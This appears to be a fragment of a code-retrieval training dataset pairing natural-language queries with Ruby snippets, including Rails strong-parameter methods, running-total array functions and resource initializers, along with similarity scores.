"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def milestone_params
params.require(:milestone).permit(:heading, :when, :what, :picture)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
input: array of integers output: array containing running total for each element data structure: integer array algorithim: initialise `sum` equal to `0` initialise `running_total` empty array iterate over array argument increment `sum` by current element append `sum` to `running_total` return `running_total` Examples:
|
def running_total(array)
sum = 0
running_total = []
array.each do |element|
sum += element
running_total << sum
end
running_total
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def running_total arr\n totals = []\n sum = 0\n arr.each do |elm|\n sum += elm\n totals << sum\n end\n totals\nend",
"def running_total(array)\n sum = 0\n array.each_with_object([]) do |el, new_array|\n new_array << sum += el\n end\nend",
"def running_total(arr)\n res = []\n running_total = 0\n\n arr.each do |element|\n running_total += element\n res << running_total\n end\n\n res\nend",
"def running_total(array)\n sum = 0\n\n array.each_with_object([]) do |number, new_array|\n new_array << sum += number\n end\nend",
"def running_total(arr)\n results = []\n total = 0\n arr.each do |el|\n total += el\n results << total\n total = total\n end\n results\nend",
"def running_total(array)\n sum = 0\n new_array = []\n array.each do |num|\n sum += num\n new_array << sum\n end\n new_array\nend",
"def running_total(input_array)\n sum = 0 # => 0, 0, 0, 0\n new_array = input_array.map do |value| # => [2, 5, 13], [14, 11, 7, 15, 20], [3], []\n sum += value # => 2, 7, 20, 14, 25, 32, 47, 67, 3\n end # => [2, 7, 20], [14, 25, 32, 47, 67], [3], []\nend",
"def running_total(arr)\n sum = 0\n arr.inject([]) { |running_sum, num| running_sum << sum += num }\nend",
"def running_total(arr)\n running_total_arr = []\n sum = 0\n arr.each do |num|\n sum += num\n running_total_arr << sum\n end\n running_total_arr\nend",
"def running_total(input_arr)\n total = 0\n input_arr.map do |current_element|\n total += current_element\n end\nend",
"def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend",
"def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend",
"def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend",
"def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend",
"def running_total(array)\r\n new_arr = []\r\n total = 0\r\n array.map do |x|\r\n total += x\r\n new_arr << total\r\n end\r\n new_arr\r\n end",
"def running_total(array)\n # new_array = []\n sum = 0\n array.inject([]) do |arr, val| \n sum += val\n arr << sum \n arr\n end\nend",
"def running_total1(array)\n r_total = 0\n array.map { |n| r_total += n }\nend",
"def running_total(arr)\n sum = 0\n arr.map { |ele| sum += ele }\nend",
"def running_total(array)\n run_total = []\n \n index = 1\n while index <= array.length\n element = array.slice(0,index)\n run_total << element.inject(:+)\n index += 1\n end\n run_total\nend",
"def running_total(arr)\n totals_arr = []\n acc = 0\n arr.each do |num|\n acc = acc + num\n totals_arr << acc\n end\n totals_arr\nend",
"def running_total(arr)\n totals = []\n arr.inject(0) do |total, num|\n totals << num + total\n total += num\n end\n return totals\nend",
"def running_total(arr)\n total_sum = 0\n arr.map { |elem| total_sum += elem }\nend",
"def running_total(array)\n sum = 0\n total = array.map { |num| sum += num }\nend",
"def running_total(array)\n\n sum = 0\n\n array.map { |value| sum += value }\n\nend",
"def running_total(array)\n result = []\n array.each_index do |i|\n result[i] = (0..i).to_a.map { |e| array[e] }.inject(:+)\n end\n result\nend",
"def efficient_running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend",
"def running_total(array)\n output = []\n return output if array.empty?\n output[0] = array[0]\n counter = 1\n\n while counter < array.size\n output << (output[counter - 1] + array[counter])\n counter += 1\n end\n output\n end",
"def running_total(arry)\n total = 0\n arry.map { |n| total += n }\nend",
"def running_total(array)\n total = 0\n array.map { |num| total += num }\nend",
"def running_total(array)\n p array.each_with_index { |_, index| array[0..index].reduce(:+) }\nend",
"def running_total(arr)\n new_arr = []\n running_total = arr[0]\n arr.each_with_index do |element, index|\n new_arr.push(running_total)\n running_total = running_total + arr[index + 1].to_s.to_i\n end\n new_arr\nend",
"def running_total(array)\n array.map.with_index { |e, i| array[0..i].reduce(:+) }\nend",
"def running_total(arr)\n return [] if arr.empty?\n running_sum = [arr[0]]\n counter = 1\n loop do \n break if counter == arr.size\n \n current_value = arr[counter]\n last_number = running_sum.last\n running_sum << current_value + last_number\n \n counter += 1\n end\n running_sum\nend",
"def running_total(array)\n new_array = []\n sum = 0\n count = 0\n\n while count < array.size\n array.each do |num|\n sum += num\n new_array << sum\n count += 1\n end\n end\n new_array\nend",
"def running_total(array)\n result = []\n\n array.inject(0) do |sum, num|\n result << sum += num\n sum # have to return sum\n end\n result\nend",
"def running_total(array)\r\n total = 0\r\n array.map { |num| total += num} \r\nend",
"def running_total(array_of_nums)\n increment = 0\n running_total_array = []\n\n array_of_nums.each do |num|\n running_total_array << num + increment\n increment += num\n end\n\n running_total_array\nend",
"def running_total2(array)\n total = 0\n array.each_with_object([]) do |num, arr|\n total += num\n arr << total\n end\nend",
"def running_total(arr)\n sum = 0\n arr.map { |num| sum += num }\nend",
"def running_total(input_arr)\n running_total_arr = []\n input_arr.each_with_index do |elem, idx|\n if idx == 0\n running_total_arr[idx] = input_arr[idx]\n p running_total_arr\n else\n running_total_arr[idx] = running_total_arr[idx - 1] + input_arr[idx]\n p running_total_arr\n end\n end\n return running_total_arr\nend",
"def running_total(arr)\n tot = []\n arr.size.times do |i|\n tot << arr[0..i].reduce(&:+)\n end\n tot\nend",
"def running_total(nums_ary)\n ary = []\n\n nums_ary.reduce(0) do |sum, num|\n ary << sum + num\n sum + num\n end\n ary\nend",
"def running_total(arr)\n sum = 0\n arr.map do |n|\n sum += n\n end\nend",
"def running_total(arr)\n total = 0\n arr.map { |num| total += num}\nend",
"def running_total(array)\n\n\treturn array if array.empty?\n\n\ttotal = 0\n\n\tarray.map! do |num|\n\t\ttotal += num\n\tend\n\nend",
"def running_total(array)\n total = 0\n array.map do |e|\n total += e\n end\n total\nend",
"def running_total(arr)\n total = 0\n arr.map { |num| total += num }\nend",
"def running_total(array)\n result = []\n count = 0\n total = 0\n\n while count < array.size\n total += array[count]\n result << total\n count += 1\n end\n result\nend",
"def running_total(array)\n result = []\n sum = 0\n index = 0\n\n while array.size > index\n result << sum += array[index]\n index += 1\n end\n result\nend",
"def running_total(array)\n total = 0\n new_array = []\n while array.size > 0\n total += array.shift\n new_array << total\n end\n new_array\nend",
"def running_total(array_nums)\n total = 0\n array_nums.map { |num| total += num }\nend",
"def running_total(array)\n new_array = []\n i = 0\n while i <= array.length - 1\n new_array << array[0..i].reduce(:+)\n i += 1\n end\n new_array\nend",
"def my_running_total(array)\n result_array = []\n result_array << array.shift unless array.empty?\n\n until array.empty?\n result_array << result_array.last + array.shift\n end\n\n result_array\nend",
"def running_total(array)\n result = 0\n array.map {|num| result += num }\n array.map do |num|\n result += num\n end\nend",
"def running_total3(array)\n sum = 0\n array.map do |num|\n sum = [sum, num].inject(:+)\n end\nend",
"def running_total(int_arr)\n sum = 0\n int_arr.map do |x|\n sum += x\n end\nend",
"def running_total(array)\n num = 0\n array.map do |number|\n num = number + num\n end\nend",
"def running_total(arr)\n arr.map.with_index { |_int, i| arr[0..i].sum }\nend",
"def running_total(arr)\n arr.map.with_index { |_, index| arr[0..index].sum }\nend",
"def running_total(numbers)\n sum = 0\n running_sums = []\n numbers.each_with_object(running_sums) do |number, array|\n sum += number\n array << sum\n end\n \n running_sums\nend",
"def running_total_2(array)\n total = 0\n array.map do |x|\n total += x\n end\nend",
"def run_total(array)\n sum = 0\n array.map { |num| sum += num }\nend",
"def running_total(numbers)\n numbers.map.with_index { |_, i| numbers[0..i].reduce(:+)}\nend",
"def running_total(array)\n total = 0\n array.map do |e|\n total = total * 10 + e\n end\n total\nend",
"def running_total(array)\n total = 0\n array.map do |e|\n total = total * 10 + e\n end\n total\nend",
"def running_total_with_reduce_2(array)\n array.map.with_index do |el, idx|\n array[0..idx].reduce(:+)\n end\nend",
"def running_total(old_array)\n counter = 0\n new_array = []\n loop do \n break if counter >= old_array.length\n if counter == 0\n new_array[counter] = old_array[counter]\n else \n new_array[counter] = old_array[counter] + new_array[counter-1]\n end\n counter += 1\n end\n new_array\nend",
"def running_total_2 arr\n arr.each_with_index { |elm, idx| idx == 0 ? next : arr[idx] += arr [idx-1] }\nend",
"def running_total(array1)\n array2 = []\n sum = 0\n array1.each do |num|\n array2 << sum += num \n end\n puts \"running_total(#{array1}) == #{array2}\"\nend",
"def running_total_3 arr\n sum = 0\n arr.each_with_object([]) do |elm, obj|\n sum += elm\n obj << sum\n end\nend",
"def running_total_3(array)\n #total = 0\n #array_new = []\n array.each_with_object([]) do |i,x|\n next if i == 0\n x += array[i-1]\n end\nend",
"def running_total(numbers)\n total = 0\n numbers.map { |number| total += number }\nend",
"def reduce_to_total(source_array, starting_point = 0)\n #source_array.reduce(starting_point) {|sum, n| sum + n}\n i = 0\n sum = starting_point\n while i < source_array.length do\n sum = sum + source_array[i]\n i += 1\n end\n return sum\nend",
"def sum_of_sums(array)\n n = 1\n running_total = 0\n while n <= array.size\n running_total += array.first(n).reduce(:+)\n n += 1\n end\n running_total\nend",
"def running_total4(numbers)\n sums = []\n numbers.each_with_index do |_, idx|\n current_total = numbers[0..idx].sum\n sums << current_total\n end\n\n sums\nend",
"def running_total(numbers)\n numbers.each.with_index do |num, i|\n if i != 0\n numbers[i] += numbers[i - 1]\n end\n end\n numbers\nend",
"def running_total(numbers)\n index = 1\n while index < numbers.length\n numbers[index] = numbers[index] + numbers[index - 1]\n index += 1\n end\n numbers\nend",
"def sum_of_sums(array)\n sequence_total = 0\n sum = 0\n array.each do |n|\n sequence_total += n\n sum += sequence_total\n end\n sum\nend",
"def arr_sum(array)\n sum = 0 # Declares initial value for variable 'sum' as 0\n array.each do |i| # Begin iterating each item of arr\n sum += i # add each number in array to the next item, continue until items exhausted\n end\n return sum # Returns new sum value\nend",
"def running_total1(array)\n array_new = []\n loop do\n break if array.empty?\n array_new << array[0]\n array[1] = array[0] + array[1] if array.size >= 2\n array.shift\n end\n array_new\nend",
"def reduce_to_total(arr, starting_point=0)\n arr.reduce(starting_point) do |acc, cur_val|\n acc + cur_val\n end\nend",
"def reduce_to_total(source_array, starting_point = 0)\n \n source_array.sum + starting_point\n \nend",
"def reduce_to_total(source_array, starting_point = 0)\n return source_array.reduce() {|sum,n| sum + n}\nend",
"def iterative_sum(arr)\n total = 0\n arr.each {|num| total += num}\n return total\nend",
"def running_total(array)\n result = []\n\n array.inject(0) do |sum, num| # without (0) after inject method does not work?\n result << sum += num\n sum # without returning sum here, method does not work?\n end\n result\nend",
"def total(array)\n sum = 0\n array.each do |n|\n sum += n\n end\n sum\nend",
"def total(array)\n sum = 0\n array.each { |i| sum += i}\n return sum\nend",
"def total(array)\n sum = 0\n array.each do |number|\n sum = sum += number\n end\n sum\nend",
"def running(arr)\n sum = 0\n arr.map { |x| sum += x }\nend",
"def total_of_array(array)\n # iterate through array\n # have a sum variable keeping track\n # add to sum variable each time\n sum = 0\n array.each {|x|\n sum += x\n }\n sum\nend",
"def total(array)\n sum = 0\n array.each { |i| sum += i }\n return sum\nend",
"def reduce_to_total(array,starting_point=0)\n total = starting_point\n counter = 0 \n while counter < array.size do \n total += array[counter]\n counter += 1\n end\n total\nend",
"def iterative_sum(array)\n sum = 0\n array.each do |ele|\n sum += ele\n end\n sum\nend",
"def reduce_to_total(source_array, starting_point)\n source_array.reduce(100) { |sum, n| sum + n }\nend",
"def total (array)\n\tarray.inject { |sum, n| sum + n }\nend",
"def total(array)\n sum = 0\n array.each {|x| sum += x}\n return sum\nend",
"def total array\n array.inject(0){|sum,x| sum + x }\nend",
"def total(arr)\n\t output = 0\n\t arr.each do |x|\n\t output += x\n\t end\n\t output\nend",
"def total(arr)\n\t output = 0\n\t arr.each do |x|\n\t output += x\n\t end\n\t output\nend",
"def reduce_to_total(array)\n total = 0 \n count = 0 \n while count < array.length do\n total = total + array[count]\n count += 1\n end\n total\nend"
] |
[
"0.88819605",
"0.8881816",
"0.87973315",
"0.87761205",
"0.87680596",
"0.87643987",
"0.8719478",
"0.871287",
"0.8707647",
"0.8707366",
"0.86850494",
"0.868466",
"0.868466",
"0.868466",
"0.86779493",
"0.86539716",
"0.862774",
"0.86248994",
"0.86165947",
"0.8607811",
"0.8600865",
"0.85962623",
"0.85857564",
"0.85796505",
"0.85388225",
"0.85170966",
"0.85112983",
"0.85074085",
"0.8507085",
"0.85013837",
"0.8496508",
"0.8496507",
"0.8484507",
"0.847416",
"0.8472956",
"0.8466894",
"0.8457378",
"0.8450907",
"0.8447507",
"0.84436995",
"0.8428893",
"0.8422571",
"0.84191364",
"0.84087473",
"0.84080833",
"0.84034264",
"0.8402988",
"0.8371992",
"0.8352116",
"0.8348",
"0.8322677",
"0.83154446",
"0.8310518",
"0.8306592",
"0.8302324",
"0.8281554",
"0.82662493",
"0.8265894",
"0.8236832",
"0.81868196",
"0.8173757",
"0.8157102",
"0.81462514",
"0.8130485",
"0.8130485",
"0.8090585",
"0.8069424",
"0.8042157",
"0.80214864",
"0.79972714",
"0.7954653",
"0.79540056",
"0.7911699",
"0.7898532",
"0.7897607",
"0.7826969",
"0.78196263",
"0.7765602",
"0.77638423",
"0.77637756",
"0.7740148",
"0.77318305",
"0.77190745",
"0.7708202",
"0.7704847",
"0.7687542",
"0.7685327",
"0.7684014",
"0.76674885",
"0.7654426",
"0.76493955",
"0.7642675",
"0.76178944",
"0.76158005",
"0.7613017",
"0.7601051",
"0.7600812",
"0.7598695",
"0.7598695",
"0.75930864"
] |
0.8890326
|
0
|
initialize a resource instance
|
def initialize(object, response = nil)
@object = object
@amount = object['amount']
@arrival_date = object['arrival_date']
@created_at = object['created_at']
@currency = object['currency']
@deducted_fees = object['deducted_fees']
@id = object['id']
@links = object['links']
@reference = object['reference']
@status = object['status']
@response = response
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(resource)\n @resource = resource\n end",
"def initialize(resource)\n @resource = resource\n end",
"def initialize(resource)\n @resource = resource\n end",
"def initialize args = {}\n self.resource = args[:resource] || ''\n end",
"def initialize(resource, embed_config={}, options={})\n raise NotImplementedError\n end",
"def initialize(api_key:, resource:)\n super(api_key: api_key)\n @resource = resource\n end",
"def build_resource(hash = {})\n self.resource = resource_class.new(hash)\n end",
"def initialize(resource)\n @attributes = OpenStruct.new(resource.attributes.to_hash)\n end",
"def resource\n @resource ||= begin\n resource_constant.new(attributes)\n end\n end",
"def instantiate\n resource.new(data)\n end",
"def initialize(resource, request_env)\n @object = resource\n @request_env = request_env\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def initialize(resource, helper)\n @resource = resource\n @helper = helper\n end",
"def initialize\n init\n end",
"def initialize(resource_hash)\n @target = resource_hash['target']\n @type = resource_hash['type'].to_s.capitalize\n @title = resource_hash['title']\n @state = resource_hash['state'] || {}\n @desired_state = resource_hash['desired_state'] || {}\n @events = resource_hash['events'] || []\n end",
"def initialize(resource_uri, config)\n @resource_uri = resource_uri\n\n super(config)\n end",
"def initialize(resource_uri, config)\n @resource_uri = resource_uri\n\n super(config)\n end",
"def resource\n @resource ||= resource_klass.new object\n end",
